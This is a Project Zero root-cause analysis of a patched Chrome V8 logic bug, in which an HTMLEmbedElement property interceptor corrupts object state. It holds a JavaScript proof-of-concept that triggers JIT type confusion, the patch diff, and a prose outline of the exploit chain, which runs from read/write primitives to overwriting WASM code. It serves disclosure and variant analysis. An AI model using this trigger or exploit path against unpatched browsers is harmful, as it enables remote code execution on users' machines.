Sergei Glazunov, Project Zero

The Basics

Disclosure or Patch Date: 9 June 2021

Product: Google Chrome

Advisory: https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html

Affected Versions: pre 91.0.4472.101

First Patched Version: 91.0.4472.101

Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

Patch CL: https://chromium.googlesource.com/v8/v8/+/f9857fdf743eeb263aec3944259ad811f564291b

Bug-Introducing CL: N/A

Reporter(s): Clement Lecigne of Google's Threat Analysis Group and Sergei Glazunov of Google Project Zero

The Code

Proof-of-concept:

global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop = value;
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });
  return [object_1, object_2];
}

const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);

jit = (object) => {
  return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
  jit(object_1);
jit(object_2);

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Logic issue

Vulnerability details: HTMLEmbedElement is one of the few DOM classes that have a property interceptor i.e. a special method that runs every time a user tries to access a property of an embed's JS wrapper. It turns out the interceptor may trigger a synchronous subframe load and thus execute user JavaScript. The problem with running JS from inside the interceptor is that it can be called while a JS object is in the middle of a property assignment.

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }
  [...]
  return AddDataProperty(it, value, NONE, should_throw, store_origin);
}



Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
                                        Handle<Object> value,
                                        Maybe<ShouldThrow> should_throw,
                                        StoreOrigin store_origin, bool* found) {
[...]
  do {
    switch (it->state()) {
[...]
      case LookupIterator::INTERCEPTOR: {
        if (it->HolderIsReceiverOrHiddenPrototype()) {
          Maybe<bool> result =
              JSObject::SetPropertyWithInterceptor(it, should_throw, value);
          if (result.IsNothing() || result.FromJust()) return result;
        } else {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          if (maybe_attributes.FromJust() == ABSENT) break;
          *found = false;
          return Nothing<bool>();
        }
        break;
      }
[...]
  *found = false;
  return Nothing<bool>();
}

If the receiver object doesn't have a property with a given name, SetPropertyInternal traverses the receiver's prototype chain, and if it encounters an interceptor, the function runs it to determine whether a "read-only property" exception should be thrown. An attacker can define a property with this name on the receiver from inside the interceptor. SetPropertyInternal misses that and reports that the property doesn't exist. SetProperty then calls AddDataProperty to define the second property with the same name on the receiver. As a result, the receiver ends up in a corrupted state.

Patch analysis:

           if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
             return WriteToReadOnlyProperty(it, value, should_throw);
           }
-          if (maybe_attributes.FromJust() == ABSENT) break;
-          *found = false;
-          return Nothing<bool>();
+          // At this point we might have called interceptor's query or getter
+          // callback. Assuming that the callbacks have side effects, we use
+          // Object::SetSuperProperty() which works properly regardless on
+          // whether the property was present on the receiver or not when
+          // storing to the receiver.
+          if (maybe_attributes.FromJust() == ABSENT) {
+            // Proceed lookup from the next state.
+            it->Next();
+          } else {
+            // Finish lookup in order to make Object::SetSuperProperty() store
+            // property to the receiver.
+            it->NotFound();
+          }
+          return Object::SetSuperProperty(it, value, store_origin,
+                                          should_throw);
         }
         break;
       }

The patch has made SetPropertyInternal call SetSuperProperty after it encounters an interceptor. SetSuperProperty restarts the lookup in the "own" mode if the property isn't found in the prototype chain, which allows it to catch any changes made to the receiver by the interceptors.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): This is a subtle logic flaw that doesn't immediately result in memory corruption, so any automated discovery is unlikely. It's possible, however, that the researcher used https://crbug.com/619166, a bug where unexpected JS execution inside interceptors during a JS property assignment has led to a bypass of the same-origin policy, as the starting point for their audit.

(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies): The exploit author has made an observation that if the interceptor defines a property on the receiver and puts its map into the "deprecated" state, SetProperty will create a new property descriptor, but modify the raw value of the existing property without updating its descriptor.

A property descriptor may contain, among other things, the field map reference i.e. the only map that values of that property are allowed to have. This information is used by TurboFan in the load elimination phase in order to remove unnecessary map checks. If an incompatible object is assigned to the property, the field map gets cleared, and all dependent code gets deoptimized.

The vulnerability allows the attacker to construct an object with a field that doesn't match its field map and thus create a powerful type confusion in JIT-compiled JavaScript code. In particular, the exploit makes the engine treat a JS object as an JS array in order to read and write data out-of-bounds.

Exploit flow: The exploit follows the standard flow for V8 exploits:

  1. Uses the initial relative read/write primitive to construct an absolute read/write primitive by corrupting a TypedArray object.
  2. Uses the absolute read/write primitive to overwrite the body of a WebAssembly function, which is stored in an RWX region, with the payload.
  3. Calls the WASM function.

Known cases of the same exploit flow: Virtually all V8 exploits in the past 5 years.

Part of an exploit chain? Yes

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why): One possible way to look at the issue is a case where the JS engine doesn't check (or checks too early) that the property it's about to add to an object doesn't already exist. There are a significant number of ways, and consequently call paths, that let user JS code create a property.

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Ideas to mitigate the exploit flow:

Other potential improvements:

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

Other References